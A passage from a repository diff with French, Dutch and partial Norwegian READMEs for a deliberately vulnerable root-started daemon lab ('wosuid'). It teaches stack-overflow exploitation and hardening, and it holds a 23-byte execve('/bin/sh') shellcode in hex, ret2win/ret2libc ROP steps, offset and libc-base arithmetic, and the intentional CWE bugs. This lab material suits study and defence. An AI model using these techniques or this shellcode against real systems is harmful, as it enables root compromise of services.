| `ret2win` | saut vers `win()` → `execl("/bin/sh")` | **shell root** |
| `ret2libc` | ROP : `pop rdi; ret` → `"/bin/sh"` → `system()` | **shell root** |
| `demo` | débordement de bourrage uniquement — attendez un SIGSEGV dans le log | crash, par conception |
| `leak` | affiche juste les fuites, n'envoie pas de payload | n/a |
```
./foowosc -t shellcode # interactif ; cible par défaut 127.0.0.1:2344
./foowosc -t shellcode -n # envoyer et rapporter, pas de session interactive
```
Une session interactive réussie relaie votre terminal vers le shell *sur la
victime* — il y a exactement un shell dans le tableau, et c'est `/bin/sh` qui
tourne en root à l'intérieur de foowosd. Tapez `id` pour voir `uid=0(root)`.
### Pourquoi il n'y a pas de technique `ret2win-root` ici
foosc en avait une — elle sautait vers un `win_root()` qui appelait
`setreuid(0,0)` avant l'exec, parce qu'un processus setuid tournait avec un uid
réel qui disait encore 1000. Un processus *démarré* par root a déjà l'uid réel
à 0 ; il n'y a rien à nettoyer, donc la fonction et la technique supplémentaires
n'auraient rien appris. Supprimé.
---
## Ce que fait foowosc, étape par étape
1. **Analyse statique** — `objdump -d` de `./foowosd`. Trouve
`vulnerable_handler`, `win()`, le `lea -0x50(%rbp)` qui adresse `buf`, et le
premier `ret` nu. À partir du décalage, il calcule `rip_off = 80 + 8 = 88`.
Rien n'est hardcodé ; ça survit à une recompilation.
2. **Auto-introspection** — lit son propre `/proc/self/maps` et `dlsym()`e
`system`/`read` pour apprendre les *offsets* de la libc. La base libc de la
cible est `leaked_read − off_read`, puis `system = base + off_system`, etc.
Cette arithmétique de delta est la raison pour laquelle les exploits
survivent aux versions de libc.
3. **Connecte** — lit le banner/les fuites (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Construit la payload** — pour `shellcode` : 23 octets de code machine, du
bourrage jusqu'à `rip_off`, puis la RIP sauvegardée = `buf` (pour que le
`ret` saute dans le code). Pour `ret2win`/`ret2libc` : des adresses
calculées depuis l'analyse — aucune exécution de pile nécessaire.
5. **Le correctif d'alignement** — un `ret` nu détourné donne au callee
`rsp ≡ 8 (mod 16)`, et le code SSE2 de glibc fault en `movaps` sur une pile
mal alignée (le crash-reporter journalise `si_addr=(nil)` — l'indice).
foowosc insère un gadget `ret` supplémentaire avant la vraie cible et
rétablit l'invariant. Une technique de gants de soie dans un lab de
shellcode, mais c'est la différence entre une payload qui « marche parfois »
et une qui marche toujours.
6. **Envoie, puis relaie** — le processus victime *est* le shell ; ce processus
ne fait que splisser des octets. Pas de shell local, pas d'autre lecteur —
le bug à curseur de lecture unique (un octet mangé par morceau) est
documenté dans `become_shell()`.
---
## Les bugs délibérés du démon (tous dans `foowosd.c`, toutes de vraies classes CWE)
| # | bug | CWE | note |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` dans un tampon de pile de 64 octets | CWE-120 | le débordement : 448 octets au-delà de `buf`, RIP sauvegardée à +88 |
| 2 | seulement `snprintf(line, …, "%.*s", …)` ; mais `%` de l'attaquant dans le chemin d'echo | CWE-134 | la fuite est ici la vraie payload ; un `%n` dans un processus *root* serait un write-what-where en root |
| 3 | les enfants gardent root en traitant des entrées non fiables | CWE-271 | le `drop_privs()` correct (setgroups→setgid→setuid, dans cet ordre, avec vérification) est dans le fichier, commenté, *délibérément jamais appelé* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` révélés à n'importe quel client | CWE-200 | sans ces fuites, les techniques shellcode et ret2libc ne pourraient pas calculer d'adresses (ASLR les vaincrait) |
Le handler a exactement la même forme `buf[64]`/`read(512)` que les deux autres
labs, donc le pipeline commun de reconnaissance par objdump fonctionne sans
changement.
---
## Comment inspecter le démon (parcours d'apprentissage)
```
make status # tourne-t-il ? en quel uid ? l'état du fichier est montré
make run-root # ou run / run-root-ns
./foowosc -t leak # voyez le banner et les fuites, n'envoyez rien
./foowosc -t demo # débordement de bourrage -> SIGSEGV, journalisé avec RIP/rsp
./foowosc -t shellcode # le shell root interactif
make test-root # matrice complète, toutes les techniques, --must-root
```
Crash-reporter : Au SIGSEGV, le démon journalise l'adresse d'erreur, RIP et
RSP. Un `ret` dans un `0x4141…` non canonique fault sur le `ret` lui-même (RIP
comme `0x4028xx`, `si_addr=(nil)`) — bon à savoir avant de lire une ligne de log
comme une déréférence NULL.
---
## Pourquoi la shellcode fait 23 octets, pas 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
Le lab SUID a besoin de `setreuid(0,0)` devant ça. Pas ce lab, pour la raison
répétée partout : **ruid est déjà 0**, parce que root a démarré le processus.
`make verify` prouve que les octets dans `foowosc.c` sont, octet pour octet, ce
que `shellcode.S` assemble.
---
## Contre-mesures — ce que `make hardened` change
Build durcie (`-fstack-protector-strong -fPIE -pie -z noexecstack`) :
| technique | `foowosd` vulnérable | `foowosd_hardened` durci |
|-----------|----------------------|------------------------------|
| `shellcode` | shell root (pile exécutable) | SIGSEGV au contrôle de canary / NX |
| `ret2win` / `ret2libc` | shell root | la canary abort le `ret` — mais notez : une build *PIE* rend aussi ces adresses aléatoires |
| `demo` | SIGSEGV, journalisé | SIGSEGV, journalisé |
`make test-hardened` le démontre en direct. L'observation importante n'est pas
seulement que les contre-mesures ont tué les techniques — c'est qu'elles n'ont
**pas** rendu le démon « non-root ». Une build durcie qui est toujours
*démarrée* en root reste un démon root ; la contre-mesure ne fait que relever la
barre pour l'attaquant. Moindre privilège (`drop_privs()`) et sécurité mémoire
sont deux bugs différents, et un démon qui n'a pas besoin de root ne devrait pas
en avoir.
---
## Garde-fous (même politique que le lab SUID)
- **Loopback seulement.** foowosd refuse de se lier ailleurs qu'à `127.0.0.1` /
`localhost` / `::1`, sauf si vous donnez `-L`. Un démon root sur une vraie
interface est un *service root distant*. `-L` existe seulement pour montrer
le garde-fou ; ne l'utilisez pas sur quelque chose qui compte.
- **L'état est journalisé à voix haute.** Au démarrage, il affiche `ruid/euid`
et si c'est un processus root, pour que vous sachiez toujours quel résultat
d'exploit attendre.
- **Les verdicts viennent du code de sortie** dans `make test*` (code retour
de la harnesse pty), jamais d'un grep sur sa sortie — la sortie grepable
ment.
- **Le pty doit tourner en cooked + ECHO off**, sinon la harnesse s'échoit sa
propre ligne de commande et falsifie le marqueur. La harnesse désactive ECHO
et garde ECHONL actif.
- **Rituel de nettoyage :** `make stop` après chaque session. Si le démon
appartient à root, `stop` vous dit de lancer `sudo pkill -x foowosd`.
- Ne faites jamais tourner ça sur une machine à laquelle vous tenez. Ça existe
pour distribuer des shells `uid=0` sur l'interface loopback.
---
## Exercices
1. Lancez `make run` (démon utilisateur), puis `./foowosc -t shellcode`.
Pourquoi le shell n'est-il pas root ? (Vérifiez `ids=` dans le banner —
foowosc vous le dit avant même que vous vous connectiez.)
2. `make stop && sudo make run-root && make test-root`. Expliquez à partir de
la ligne du banner pourquoi les quatre techniques donnent maintenant
`uid=0(root)`.
3. Trouvez `drop_privs()` dans `foowosd.c` et lisez *pourquoi l'ordre* de
`setgroups → setgid → setuid` compte. Décidez où dans `main()` il aurait sa
place, et ce que devient la surface d'attaque du lab quand il est
réellement appelé.
4. Calculez `rip_off` à la main depuis `objdump -d foowosd` : trouvez le
`lea -0xNN(%rbp)` de `buf` dans `vulnerable_handler`, puis `NN + 8`. foowosc
fait exactement ça ; vérifiez son calcul contre le vôtre.
5. `make hardened && make test-hardened`. Quelle technique tombe sur la canary,
et laquelle sur NX ? Pourquoi le durcissement ne change-t-il pas ce que
`make status` rapporte sur *le processus* ?
6. Comparez les shellcodes des deux labs : 23 octets ici, 32 pour foosd. Que
font les 9 octets supplémentaires, et pourquoi ne sont-ils nécessaires que
dans le cas SUID ?
7. Lisez le commentaire de `become_shell()` sur la curseur de lecture unique.
Reconstruisez mentalement l'état d'échec : deux lecteurs sur une socket,
c'est le shell de connexion qui mange un octet par morceau — « uid=1000… »
arrive comme « id=1000… ». Pourquoi un processus relay ne peut-il jamais
avoir ce bug ?
---
## Fichiers
```
foowosd.c le démon root vulnérable (chaque ligne commentée)
foowosc.c l'exploit (chaque ligne commentée)
shellcode.S l'assembleur de référence pour la payload de 23 octets
tests/pty_wosuid_test.c la harnesse pty (marqueur + contrôle strict de forme id)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Labs frères : `../food.c`/`../fooc.c` (baseline user-level, port 2342) et
`../suid/` (démon root SUID `foosd`/`foosc`, port 2343). Les ports sont
délibérément différents — vous pouvez faire tourner les trois en même temps et
croiser leurs lignes `ids=` dans le banner.

311
wosuid/README.NL.md Normal file
View file

@ -0,0 +1,311 @@
# Het `wosuid`-lab — root-RCE **zonder** setuid-bit
```
foowosd een bewust kwetsbare daemon die root is omdat hij als *GESTART* als
root (poort 2344, standaard alleen loopback)
foowosc het exploit: verandert een stack-overloop in een **root**-shell door
shellcode uit te voeren — dezelfde 23 bytes die de user-level-
`food`-daemon in het hoofdlab kraakten
```
Dit is het derde lab in de serie. Dezelfde exploit-werktuigketen, dezelfde stijl,
één fundamenteel verschil:
| Lab | hoe het doelproces root wordt | `uid=0(root)`-shell? |
|----------|------------------------------------------------|----------------------|
| food/fooc | nooit — het is een gewone user-daemon | nee |
| foosd/foosc | de SUID-bit (`chmod u+s`) — euid 0, ruid 1000 | ja (vereist `setreuid` in de shellcode, want bash reset euid→ruid) |
| **foowosd/foowosc** | **geen — root *start* de daemon** (sudo / systemd `User=root`) | **ja (gewone `execve`-shellcode)** |
De setuid-bit is een *transportmiddel* voor privileges — niet de privileges
zelf. Een daemon die door root is gestart, heeft reële, effectieve en
opgeslagen uid allemaal 0. Voor de kernel is dat root, punt uit; hij kan en wil
niet weten of het proces daar via `+s` op een bestand of via `sudo ./foowosd`
is gekomen. De overloop in een root-gestarte daemon is dus een root-exploit — *"ik
heb geen SUID-binaries" is niet hetzelfde als "ik ben niet exploiteerbaar".*
Dat is de hele les van dit lab. Al het andere hieronder is het mechanisme.
---
## Snelle start (wat de gebruiker vroeg)
```
cd wosuid
make # bouwt de daemon, het exploit en de test-harness
```
### Het echte werk — draai de daemon als **root**
```
sudo make run-root # start foowosd als uid 0 (proces, geen bestandstoestand)
make test-root # elke techniek moet nu uid=0(root) geven
```
### Geen sudo? Het identieke kernelpad via een user-namespace
```
make run-root-ns # uid 0 in een user-namespace — geen wachtwoord nodig
make test-root # dezelfde oordelen; gebruikt door CI en iedereen zonder sudo
```
### Baseline — daemon als je normale gebruiker (nergens root)
```
make run # foowosd draait met jouw uids
make test # exploits landen shells, maar `root` wordt verwacht als MISSING
```
### Opruimritueel (altijd: dit is een root-shell-lab)
```
make stop
```
`foowosd` is *niet* setuid, en niets in deze map doet ooit `chmod +s` — dat is
het punt. De gevaarlijke toestand is **het proces**, niet het bestand.
---
## Wanneer je wordt gezegd de SUID-bit te zetten
Dat zul je **niet** worden. Dit lab heeft bewust geen SUID-bit:
- `foowosd` wordt gebouwd, is eigendom van jou en heeft gewone toestanden als
elk ander programma.
- Hij wordt root zoals echte daemons dat doen — door *gestart* te worden door
root.
- `make run-root` gebruikt `sudo` voor precies dat, en `make run-root-ns`
regelt een echte uid-0-proces zonder ook maar iets daarvan.
De Suid-bit hoort bij het *zuster*-lab (`foosd`). Het contrast tussen de twee
is de leerstof:
1. SUID-lab: de bit geeft **euid 0, maar ruid 1000** → `execve("/bin/sh")`
wordt gedegradeerd door de wacht van bash (`euid != ruid` → reset) → de
shellcode moet eerst `setreuid(0,0)` aanroepen (32-byte-payload).
2. Dit lab: root **start** het proces → **ruid == euid == 0** → de wacht heeft
niets om te resetten → de gewone 23-byte `execve`-shellcode houdt root.
Dezelfde overloop. Dezelfde techniek. Andere *oorsprong* van privileges, andere
payload-vorm. Dat is de les in het klein.
---
## Het protocol
Welke client er ook verbindt, foowosd begroet hem met:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banner + leaks)
BUF=0x7ffd… (het bufferadres)
```
`ids=euid/ruid` is het *"ben ik root?"*-kanaal. foowosc print een luide
waarschuwing wanneer euid niet 0 is (dus je startte de daemon als gewone
gebruiker): de payload landt nog steeds, maar de shell wordt een
gebruiker-shell, en het exploit "kapot" noemen zou fout zijn — hij escaleert
alleen niet.
> Spellingsnoot: `ids=`, niet `euid=`/`ruid=`. De test-harness bewijst een
> levende `id` door de letterlijke vorm `uid=NNN(` te matchen, dus het banner
> mag nooit een deelstring bevatten die zelf aan de controle voldoet. (In het
> SUID-lab produceerde precies die val een spectaculaire fout-positief.)
---
## De exploit-technieken (`foowosc -t …`)
Alle vier de exploit-paden hieronder werken tegen foowosd. Wanneer de daemon
root is, geeft **alles dat iets spawnt root** — in tegenstelling tot het
SUID-lab, waar ret2win/ret2libc stilletjes door de wacht van bash naar uid 1000
werden gedegradeerd. Hier is er geen mismatch om te bewaken.
| `-t` | wat er gebeurt | wanneer de daemon root is |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | 23-byte `execve("/bin/sh", NULL, NULL)` draait op de stack. | **root-shell** (standaard) |
| `ret2win` | sprong naar `win()` → `execl("/bin/sh")` | **root-shell** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
| `demo` | alleen rommel-overloop — verwacht een SIGSEGV in de daemonlog | crash, volgens ontwerp |
| `leak` | print alleen leaks, stuurt geen payload | n.v.t. |
```
./foowosc -t shellcode # interactief; standaardtarget 127.0.0.1:2344
./foowosc -t shellcode -n # sturen en rapporteren, geen interactieve sessie
```
Een succesvolle interactieve sessie schakelt je terminal door naar de shell *op
het slachtoffer* — er is precies één shell in het beeld, en dat is `/bin/sh`
die als root binnenin foowosd draait. Typ `id` om `uid=0(root)` te zien.
### Waarom er hier geen `ret2win-root`-techniek is
foosc had er één — die sprong naar een `win_root()` die `setreuid(0,0)` aanriep
vóór exec, omdat een setuid-proces draaide met een reële uid die nog 1000 zei.
Een root-*gestart* proces heeft de reële uid al 0; er valt niets op te ruimen,
dus de extra functie en techniek zouden niets leren. Verwijderd.
---
## Wat foowosc doet, stap voor stap
1. **Statische analyse** — `objdump -d` van `./foowosd`. Vindt
`vulnerable_handler`, `win()`, de `lea -0x50(%rbp)` die `buf` adresseert,
en de eerste kale `ret`. Uit de verplaatsing berekent het
`rip_off = 80 + 8 = 88`. Niets is hardcoded; het overleeft een herbouw.
2. **Zelf-introspectie** — leest zijn eigen `/proc/self/maps` en `dlsym()`t
`system`/`read` om de libc-*offsets* te leren. De libc-base van het
doelwit is `leaked_read − off_read`, daarna `system = base + off_system`,
enz. Die delta-rekenkunde is de reden dat exploits libc-versies overleven.
3. **Verbind** — leest het banner/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Bouw de payload** — voor `shellcode`: 23 bytes machinecode, padding tot
`rip_off`, daarna de opgeslagen RIP = `buf` (zodat de `ret` op de code
springt). Voor `ret2win`/`ret2libc`: adressen berekend uit de analyse —
geen stackuitvoering nodig.
5. **De uitlijnfix** — een gekaapte kale `ret` geeft de callee
`rsp ≡ 8 (mod 16)`, en glibc's SSE2-code faalt met `movaps` op een
niet-uitgelijnde stack (de crash-reporter logt `si_addr=(nil)` — de hint).
foowosc plaatst één extra `ret`-gadget vóór het echte doelwit en herstelt de
invariant. Een zijdenhandschoentechniek in een shellcode-lab, maar het is
het verschil tussen een payload die "soms werkt" en een die altijd werkt.
6. **Stuur, daarna schakel door** — het doelproces *is* de shell; dit proces
splist alleen bytes. Geen lokale shell, geen andere lezer — de
single-read-cursor-bug (één opgegeten byte per chunk) is gedocumenteerd in
`become_shell()`.
---
## De bewuste bugs van de daemon (allemaal in `foowosd.c`, allemaal echte CWE-klassen)
| # | bug | CWE | notitie |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` in een 64-byte stack-buffer | CWE-120 | de overloop: 448 bytes voorbij `buf`, opgeslagen RIP op +88 |
| 2 | alleen `snprintf(line, …, "%.*s", …)`; maar aanvaller-`%` in het echo-pad | CWE-134 | het lek is hier de echte payload; een `%n` in een *root*-proces zou write-what-where als root zijn |
| 3 | kinderen behouden root terwijl ze onbetrouwbare input afhandelen | CWE-271 | de correcte `drop_privs()` (setgroups→setgid→setuid, in die volgorde, met verificatie) staat in het bestand, gecommentarieerd, *bewust nooit aangeroepen* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` onthuld aan elke client | CWE-200 | zonder deze leaks konden de shellcode- en ret2libc-technieken geen adressen berekenen (ASLR zou ze verslaan) |
De handler heeft precies dezelfde `buf[64]`/`read(512)`-vorm als de twee andere
labs, dus de gedeelde objdump-gebaseerde herkenningspipeline werkt ongewijzigd.
---
## Zo inspecteer je de daemon (leerpad)
```
make status # draait hij? als welke uid? bestandstoestand wordt getoond
make run-root # of run / run-root-ns
./foowosc -t leak # zie het banner en leaks, stuur niets
./foowosc -t demo # rommel-overloop -> SIGSEGV, gelogd met RIP/rsp
./foowosc -t shellcode # de interactieve root-shell
make test-root # volledige matrix, alle technieken, --must-root
```
Crash-reporter: Bij SIGSEGV logt de daemon het foutadres, RIP en RSP. Een `ret`
in een niet-canonieke `0x4141…` faalt bij de `ret` zelf (RIP als `0x4028xx`,
`si_addr=(nil)`) — goed om te weten vóór je een logregel als NULL-dereferentie
verkeerd leest.
---
## Waarom de shellcode 23 bytes is, niet 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
Het SUID-lab heeft `setreuid(0,0)` vóór dit nodig. Dit lab niet, om de reden
die overal herhaald wordt: **ruid is al 0**, omdat root het proces startte.
`make verify` bewijst dat de bytes in `foowosc.c` byte-voor-byte zijn wat
`shellcode.S` assembleren tot.
---
## Tegenmaatregelen — wat `make hardened` verandert
Geharde build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| techniek | kwetsbare `foowosd` | geharde `foowosd_hardened` |
|-----------|----------------------|------------------------------|
| `shellcode` | root-shell (uitvoerbare stack) | SIGSEGV bij de canary-controle / NX |
| `ret2win` / `ret2libc` | root-shell | canary aborted de `ret` — maar merk: een *PIE*-build maakt deze adressen ook willekeurig |
| `demo` | SIGSEGV, gelogd | SIGSEGV, gelogd |
`make test-hardened` demonstreert het live. De belangrijke observatie is niet
alleen dat de tegenmaatregelen de technieken doodden — het is dat ze de daemon
**niet** "niet-root" maakten. Een geharde build die nog steeds als root
*gestart* wordt, is nog steeds een root-daemon; de tegenmaatregel verhoogt
alleen de lat voor de aanvaller. Minste privilege (`drop_privs()`) en
geheugenveiligheid zijn twee verschillende bugs, en een daemon die geen root
nodig heeft, zou het niet moeten hebben.
---
## Veiligheidsleuningen (zelfde beleid als het SUID-lab)
- **Alleen loopback.** foowosd weigert iets anders dan `127.0.0.1` /
`localhost` / `::1` te binden, tenzij je `-L` geeft. Een root-daemon op een
echte interface is een *externe* root-dienst. `-L` bestaat alleen om de
wacht te tonen; gebruik het niet op iets dat ertoe doet.
- **De toestand wordt luid gelogd.** Bij de start print hij `ruid/euid` en of
dit een root-proces is, zodat je altijd weet welk exploit-resultaat je moet
verwachten.
- **Oordelen komen uit exit-status** in `make test*` (de retourcode van de
pty-harness), nooit uit het greppen van zijn stdout — grepbare output liegt.
- **De pty moet cooked + ECHO off draaien**, anders echoët de harness zijn
eigen commandoregel en vervalst de markering. De harness zet ECHO uit en
houdt ECHONL aan.
- **Opruimritueel:** `make stop` na elke sessie. Als de daemon root-bezeten
is, zegt `stop` je `sudo pkill -x foowosd` te draaien.
- Draai dit nooit op een host waar je om geeft. Het bestaat om `uid=0`-shells
over de loopback-interface uit te delen.
---
## Oefeningen
1. Draai `make run` (user-daemon), daarna `./foowosc -t shellcode`. Waarom is
de shell niet root? (Check `ids=` in het banner — foowosc zegt het je vóór
je überhaupt verbindt.)
2. `make stop && sudo make run-root && make test-root`. Verklaar aan de hand
van de bannerregel waarom alle vier de technieken nu `uid=0(root)` geven.
3. Vind in `foowosd.c` `drop_privs()` en lees *waarom de volgorde* van
`setgroups → setgid → setuid` ertoe doet. Bepaal waar in `main()` hij thuis
zou horen, en wat het aanvalsoppervlak van het lab wordt wanneer hij
daadwerkelijk wordt aangeroepen.
4. Bereken `rip_off` met de hand uit `objdump -d foowosd`: vind de
`lea -0xNN(%rbp)` van `buf` binnenin `vulnerable_handler`, daarna `NN + 8`.
foowosc doet precies dat; controleer zijn rekensom tegen de jouwe.
5. `make hardened && make test-hardened`. Welke techniek valt voor de canary,
en welke voor NX? Waarom verandert harden niet wat `make status` over *het
proces* rapporteert?
6. Vergelijk de shellcodes van de twee labs: 23 bytes hier, 32 voor foosd. Wat
doen de extra 9 bytes, en waarom zijn ze alleen in het SUID-geval nodig?
7. Lees de commentaar van `become_shell()` over de enkele lees-cursor. Maak de
faaltoestand mentaal na: twee lezers op één socket betekent dat de
login-shell één byte per chunk eet — "uid=1000…" arriveert als "id=1000…".
Waarom kan een relay-proces deze bug nooit hebben?
---
## Bestanden
```
foowosd.c de kwetsbare root-daemon (elke regel gecommentarieerd)
foowosc.c het exploit (elke regel gecommentarieerd)
shellcode.S referentie-assembly voor de 23-byte-payload
tests/pty_wosuid_test.c de pty-harness (markering + strikte id-vorm-controle)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Zuster-labs: `../food.c`/`../fooc.c` (user-level-baseline, poort 2342) en
`../suid/` (SUID-root-daemon `foosd`/`foosc`, poort 2343). De poorten zijn
bewust verschillend — je kunt alle drie tegelijk draaien en hun `ids=`-regels
in het banner kruislings controleren.

309
wosuid/README.NO.md Normal file
View file

@ -0,0 +1,309 @@
# `wosuid`-laboratoriet — root-RCE **uten** setuid-bit
```
foowosd en bevisst sårbar daemon som er root fordi den ble *STARTET* som
root (port 2344, bare loopback som standard)
foowosc exploitet: forvandler et stack-overløp til en **root**-shell ved å
utføre shellcode — de samme 23 bytene som knekte user-level-
`food`-daemonen i hovedlaboratoriet
```
Det er det tredje laboratoriet i serien. Samme exploit-verktøykjede, samme
stil, én fundamental forskjell:
| Laboratorium | hvordan målprosessen blir root | `uid=0(root)`-shell? |
|----------|------------------------------------------------|----------------------|
| food/fooc| aldri — det er en vanlig user-daemon | nei |
| foosd/foosc | SUID-biten (`chmod u+s`) — euid 0, ruid 1000 | ja (krever `setreuid` i shellcoden, fordi bash nullstiller euid→ruid) |
| **foowosd/foowosc** | **ingen — root *starter* daemonen** (sudo / systemd `User=root`) | **ja (vanlig `execve`-shellcode)** |
Setuid-biten er et *transportmiddel* for privilegier — ikke privilegiene selv.
En daemon startet av root har reell, effektiv og lagret uid alle lik 0. For
kjernen er det root, punktum; den kan og vil ikke vite om prosessen kom dit via
`+s` på en fil eller via `sudo ./foowosd`. Overløpet i en root-startet daemon er
altså et root-exploit — *«jeg har ingen SUID-binærfiler» er ikke det samme som
«jeg er ikke utnyttbar».*
Det er hele leksjonen i dette laboratoriet. Alt nedenfor er maskineriet.
---
## Rask start (det brukeren ba om)
```
cd wosuid
make # bygger daemonen, exploitet og test-harnessen
```
### Det ekte — kjør daemonen som **root**
```
sudo make run-root # starter foowosd som uid 0 (prosess, ikke filtillstand)
make test-root # hver teknikk skal nå gi uid=0(root)
```
### Ikke sudo? Den identiske kjernesti via en user-namespace
```
make run-root-ns # uid 0 i en user-namespace — ingen passord nødvendig
make test-root # samme dommer; brukes av CI og alle uten sudo
```
### Baseline — daemon som din vanlige bruker (intet root noen steder)
```
make run # foowosd kjører med dine uid-er
make test # exploits lander shells, men `root` forventes MISSING
```
### Oppryddingsritual (alltid: dette er et root-shell-laboratorium)
```
make stop
```
`foowosd` er *ikke* setuid, og intet i dette biblioteket gjør noen gang
`chmod +s` — det er poenget. Den farlige tilstanden er **prosessen**, ikke
filen.
---
## Når du blir bedt om å sette SUID-biten
Det blir du **ikke**. Dette laboratoriet har bevisst ingen SUID-bit:
- `foowosd` bygges, eies og har vanlige tillstander som ethvert annet program.
- Det blir root, som ekte daemoner gjør — ved å bli *startet* av root.
- `make run-root` bruker `sudo` til nøyaktig det, og `make run-root-ns` skaffer
en ekte uid-0-prosess helt uten noe av det.
Suid-biten tilhører *søster*-laboratoriet (`foosd`). Kontrasten mellom de to
er pensum:
1. SUID-laboratoriet: biten gir **euid 0, men ruid 1000** →
`execve("/bin/sh")` nedgraderes av bashs vakt (`euid != ruid` → reset) →
shellcoden må først kalle `setreuid(0,0)` (32-byte-payload).
2. Dette laboratoriet: root **starter** prosessen → **ruid == euid == 0** →
vakten har ingenting å nullstille → den vanlige 23-byte `execve`-shellcoden
beholder root.
Samme overløp. Samme teknikk. Forskjellig *opprinnelse* av privilegier,
annerledes payload-form. Det er leksjonen i miniatyr.
---
## Protokollen
Uansett hvilken slags klient som kobler til, hilser foowosd på den med:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banneret + leaks)
BUF=0x7ffd… (bufferadressen)
```
`ids=euid/ruid` er *«er jeg root?»*-sidekanalen. foowosc skriver ut en høy
advarsel når euid ikke er 0 (dvs. du startet daemonen som en vanlig bruker):
payloaden lander fortsatt, men shellen blir en bruker-shell, og å kalle
exploitet «i stykker» ville vært feil — det eskalerer bare ikke.
> Staveform-merknad: `ids=`, ikke `euid=`/`ruid=`. Test-harnessen beviser en
> levende `id` ved å matche den bokstavelige formen `uid=NNN(`, så banneret må
> aldri inneholde en delstreng som selv oppfyller sjekken. (I SUID-laboratoriet
> produserte nøyaktig den fellen et spektakulært falskt positivt.)
---
## Exploit-teknikkene (`foowosc -t …`)
Alle fire exploit-stiene nedenfor virker mot foowosd. Når daemonen er root,
gir **alle som spawner noe, root** — i motsetning til SUID-laboratoriet der
ret2win/ret2libc stille og rolig ble nedgradert til uid 1000 av bashs vakt. Her
er det intet mismatch å vokte mot.
| `-t` | hva som skjer | når daemonen er root |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | 23-byte-`execve("/bin/sh", NULL, NULL)` kjører på stacken. | **root-shell** (standard) |
| `ret2win` | hopp til `win()` → `execl("/bin/sh")` | **root-shell** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
| `demo` | bare søppel-overløp — forvent et SIGSEGV i daemonloggen | krasj, etter design |
| `leak` | skriver bare ut leaks, sender ingen payload | n/a |
```
./foowosc -t shellcode # interaktiv; standard-target 127.0.0.1:2344
./foowosc -t shellcode -n # send og rapporter, ingen interaktiv økt
```
En vellykket interaktiv økt videresender terminalen din til shellen *på
offeret* — det er nøyaktig én shell i bildet, og det er `/bin/sh` som kjører
som root inne i foowosd. Skriv `id` for å se `uid=0(root)`.
### Hvorfor det ikke finnes noen `ret2win-root`-teknikk her
foosc hadde én — den hoppet til et `win_root()` som kalte `setreuid(0,0)` før
exec, fordi en setuid-prosess kjørte med en reell uid som fortsatt sa 1000. En
root-*startet* prosess har den reelle uid-en allerede 0; det er ingenting å
rydde, så den ekstra funksjonen og teknikken ville ikke lært noe. Fjernet.
---
## Hva foowosc gjør, steg for steg
1. **Statisk analyse** — `objdump -d` av `./foowosd`. Finner
`vulnerable_handler`, `win()`, det `lea -0x50(%rbp)` som adresserer `buf`,
og det første nakne `ret`. Ut fra forskyvningen beregner det
`rip_off = 80 + 8 = 88`. Ingenting er hardkodet; det overlever en ombygging.
2. **Selv-introspeksjon** — leser sitt eget `/proc/self/maps` og `dlsym()`er
`system`/`read` for å lære libc-*offsets*. Targetets libc-base er
`leaked_read − off_read`, deretter `system = base + off_system`, osv. Denne
delta-aritmetikken er grunnen til at exploits overlever libc-versjoner.
3. **Koble til** — leser banneret/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Bygg payloaden** — for `shellcode`: 23 bytes maskinkode, padding til
`rip_off`, deretter den lagrede RIP = `buf` (så `ret` hopper inn på koden).
For `ret2win`/`ret2libc`: adresser beregnet ut fra analysen — ingen
utførelse av stacken nødvendig.
5. **Justeringsfixen** — et kapret nakent `ret` gir callee-en
`rsp ≡ 8 (mod 16)`, og glibcs SSE2-kode `movaps`-feiler på en ikke-justert
stack (crash-reporteren logger `si_addr=(nil)` — fingerpeket). foowosc
setter inn ett ekstra `ret`-gadget før det ekte målet og gjenoppretter
invarianten. Silkehansketeknikk i et shellcode-laboratorium, men det er
forskjellen mellom en payload som «noen ganger virker» og en som alltid
virker.
6. **Send, deretter videresend** — offerprosessen *er* shellen; denne prosessen
splisser bare bytes. Ingen lokal shell, ingen annen leser —
single-read-cursor-feilen (ett spist byte per chunk) er dokumentert i
`become_shell()`.
---
## Daemonens bevisste feil (alle i `foowosd.c`, alle ekte CWE-klasser)
| # | feil | CWE | notat |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` inn i et 64-byte stack-buffer | CWE-120 | overløpet: 448 bytes forbi `buf`, lagret RIP ved +88 |
| 2 | bare `snprintf(line, …, "%.*s", …)`; men angriper-`%` i ekko-stien | CWE-134 | leaket er her den reelle payloaden; et `%n` i en *root*-prosess ville vært write-what-where som root |
| 3 | barn beholder root mens de håndterer upålitelige inputs | CWE-271 | det korrekte `drop_privs()` (setgroups→setgid→setuid, i den rekkefølgen, med verifikasjon) står i filen, kommentert, *bevisst aldri kalt* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` avslørt til enhver klient | CWE-200 | uten disse leaks kunne ikke shellcode- og ret2libc-teknikkene beregne adresser (ASLR ville beseiret dem) |
Handleren har nøyaktig samme `buf[64]`/`read(512)`-form som de to andre
